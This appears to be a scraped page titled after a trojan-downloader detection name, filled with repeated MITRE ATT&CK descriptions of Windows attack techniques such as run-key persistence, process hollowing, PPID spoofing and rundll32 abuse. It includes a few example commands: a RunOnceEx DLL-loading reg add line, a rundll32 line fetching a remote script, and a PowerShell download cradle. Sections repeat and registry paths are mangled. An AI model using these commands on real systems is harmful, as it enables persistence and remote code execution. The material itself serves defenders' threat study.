Trojan-Downloader.Win32.Furl.gen

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.(Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell’s underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

### Browser-based Exploitation

Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

### Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

### Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)

While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the “run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a “Depend” key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Adversaries may inject malicious code into process via process doppelganging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelganging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelganging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelganging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelganging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelganging Dec 2017)

Process Doppelganging is implemented in 4 steps (Citation: BlackHat Process Doppelganging Dec 2017):

* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.

* Load – Create a shared section of memory and load the malicious executable.

* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.

* Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelganging may evade detection from security products since the execution is masked under a legitimate process.

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the “run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a “Depend” key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders

* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

* HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun

Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)

This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

Adversaries may inject malicious code into process via process doppelganging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelganging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelganging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelganging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelganging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelganging Dec 2017)

Process Doppelganging is implemented in 4 steps (Citation: BlackHat Process Doppelganging Dec 2017):

* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.

* Load – Create a shared section of memory and load the malicious executable.

* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.

* Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelganging may evade detection from security products since the execution is masked under a legitimate process.

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)

Malicious Control Panel items can be delivered via Phishing campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

On Windows, there are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)

Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock.

Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).

On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)

Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts.

Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service’s web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim’s machine.(Citation: Dropbox Malware Sync)

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware’s communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)